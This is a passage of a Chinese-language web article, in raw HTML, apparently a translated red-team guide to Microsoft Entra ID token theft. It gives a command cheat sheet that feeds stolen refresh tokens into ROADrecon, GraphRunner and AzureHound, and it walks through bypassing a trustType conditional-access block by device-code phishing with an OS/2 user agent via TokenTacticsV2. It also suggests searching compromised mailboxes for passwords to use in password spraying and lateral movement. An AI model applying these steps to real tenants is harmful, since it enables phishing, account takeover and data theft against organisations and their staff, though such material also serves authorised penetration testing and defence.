normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.534375" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012347" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=cda6e78a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgNBg8h1dAo7ppj63Vt1JE3L9lPScJmWyma97OUxTVQYUXnoicURRONY2TBSgBl9btiakorf2jxbNyJD51Iwq8WJIg2ONG5MRmUg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 10 - 来自 TokenTactics 的 Refresh Token</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面是一份便捷的速查表,展示在已经从 TokenTactics 获取了初始 token 的前提下,如何为每款攻击性工具请求所需 token。前几条命令是通过 TokenTactics 完成的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">ROADrecon:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Invoke-RefreshToGraphToken</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$GraphToken</span></span><span leaf="">.access_token</span><span leaf=""><br/></span><span leaf="">roadrecon auth --access-token eyJ0eXA</span><span leaf=""><br/></span><span leaf="">roadrecon gather</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">GraphRunner:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Invoke-RefreshToMSGraphToken</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$MSGraphToken</span></span><span leaf="">.access_token</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$MSGraphToken</span></span><span leaf="">.refresh_token</span><span leaf=""><br/></span><span leaf="">Invoke-ImportTokens -AccessToken </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;eyJ0eXA&#34;</span></span><span leaf=""> -RefreshToken </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;0.AVAAp&#34;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">AzureHound:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Invoke-RefreshToMSGraphToken</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$MSGraphToken</span></span><span leaf="">.refresh_token</span><span leaf=""><br/></span><span leaf="">./azurehound -r </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;0.ARwA6Wg...&#34;</span></span><span leaf=""> list --tenant </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&lt;tenant_domain&gt;&#34;</span></span><span leaf=""> -o output.json</span></code></pre><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3 利用 Microsoft Entra ID Join 武器化 token 窃取</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">场景:</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">某云环境在条件访问中使用 </span><strong><span leaf="">trustType</span></strong><span leaf="">来缓解 token 窃取。这时使用 Evilginx 对用户进行钓鱼将会失败,因为我们会遇到以下提示:</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.921875" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012355" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=d26b9991&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSh0srOYzQ8HE5MEDcKmPlVEUluxswBY1htFZLLCu8aC10fqPfxnwhiaGpFIgF60OpyMe7NuSuoibyGZ2DUgkSfcoMc6o2ZZocRLc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 11 - 条件访问拦截</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">之所以会出现这个条件访问错误,是因为我们用恶意域名钓鱼时,Evilginx 充当了反向代理的角色。反向代理永远不可能是 Entra ID joined 的,这就是最终用户会遇到此类错误的原因。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.1 什么是 trust type?</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在条件访问中,你可以按属性和值对设备进行过滤。其中一个值就叫做 </span><strong><span leaf="">trustType</span></strong><span leaf="">。虽然我尚未在真实环境中见过这个设置被实际启用,但组织确实可以借此尝试控制哪些设备类型能够访问云工作负载。例如,可以针对 Entra ID join 这一 </span><strong><span leaf="">trustType</span></strong><span leaf="">配置条件访问拦截,适用于管理员不希望个人桌面或笔记本电脑连接到公司云资源的场景。下面是一个示例过滤器配置。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.659375" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012353" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ba0ad957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShfib3iaddgOu0KMHpKX9bFukyOicT9s2j4yZicAeQhhPH2OZsibViaBV0FUicOfAJ1swsUdGLdKb9oVYg9mRvqia83S799F8nZibSmk6oA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 12 - 针对 Entra Joined 设备的设备过滤器</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面的截图展示了该过滤器纳入的设备平台。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.871875" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012356" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e49cbb69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShPzGj3n95K2FkDhKnoC9j4ic8veQJR7Tw6aKtkw7uasbHNfZXyu5fTqKNGVl7a4Oy1rL89PNUWDjJDxEdcMrF32KA8wBGxQHvo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 13 - 设备平台过滤</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了让这条条件访问策略形成完整闭环,会将 Grant 控制项设为 </span><strong><span leaf="">Block access</span></strong><span leaf="">。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.96875" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012354" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ee3c1539&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgsJexOTRia9zyzEEJDErJfn3RZIIOJVKXNhibz1vwjFITng7y9bIyltaHQdBGgicY99ibvd6NAA1bnciaJf8Fzf5l98cYp10cAUBI4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 14 - 拦截非公司自有设备的访问</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.2 利用 OS2/Warp Agent 与设备代码钓鱼绕过 trustType</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我使用 TokenTactics 的一个 fork (TokenTacticsV2) 进行设备代码钓鱼,首先用以下命令以 OS/2 user agent 请求一个 MSGraph token:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Import</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Module .</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">TokenTactics</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">psd1</span></span><span leaf=""><br/></span><span leaf="">Get</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AzureToken </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Client MSGraph </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Device OS</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.546875" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012352" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e3818d96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShd6xMLOQaoUKjBg4mxI5iaECCJR3rA8dofclmEUTv0z9Ozx32DsFW7ibvAziaM9daDpQMce6DTq9siaahXHYYX5S8tKd8DBqGia5j0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 15 - 使用 OS/2 Warp Agent 发起的 Device Code 请求</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从 TokenTacticsv2 拿到初始 token 后,需要将其刷新为常规的 graph token。之所以能够成功返回 token,是因为 OS/2 设备 agent 不会在条件访问的标准设备平台中被纳入评估。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.515625" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012361" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=45d6718b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgZeGxXRBYIU4Ib0THNOTiaYQBEJaXJh6dLvIicWichIcVehEF7KjAfdxeCmdsrC9zS3uaJzamQtu9hg0x1Rmhp1gSiaYQSlgVuOyE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 16 - 使用 Access Token 进行 Roadrecon 扫描</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">收集操作完成后,使用以下命令启动 ROADrecon 的 GUI:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadrecon gui</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这会在 5000 端口启动一个 flask 应用,你将获得大量信息,可用于发起密码喷洒攻击或扩展定向钓鱼行动。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.675" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012357" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=dfdaf07e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShK4Hd49Zict2JS8AcJMhg4gDlqFxIGAGTNAVPib9x72LiabAia40ABYdicl3fozCsLIeqyRVD3fhVVVxdq1CudOu5XPl8Z9Mia2Mw6U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 17 - Roadrecon 仪表板</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">横向移动的另一条潜在路径是使用 GraphRunner 在被入侵用户的邮箱中搜索密码。可以拿这些密码进行喷洒,或通过密码喷洒攻击查看它们是否被复用在其他地方。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.25" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012359" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=4ec4c67c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShsEPeib5d1dG5ge77t5NM7CpxDEVSe5mD6ov9fejCkgGic5MYn6ViafJ2HRC4Np3DgEk0ic6wzCic3eZ6DRX7raHrhMcfbuqQ3XuGU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, 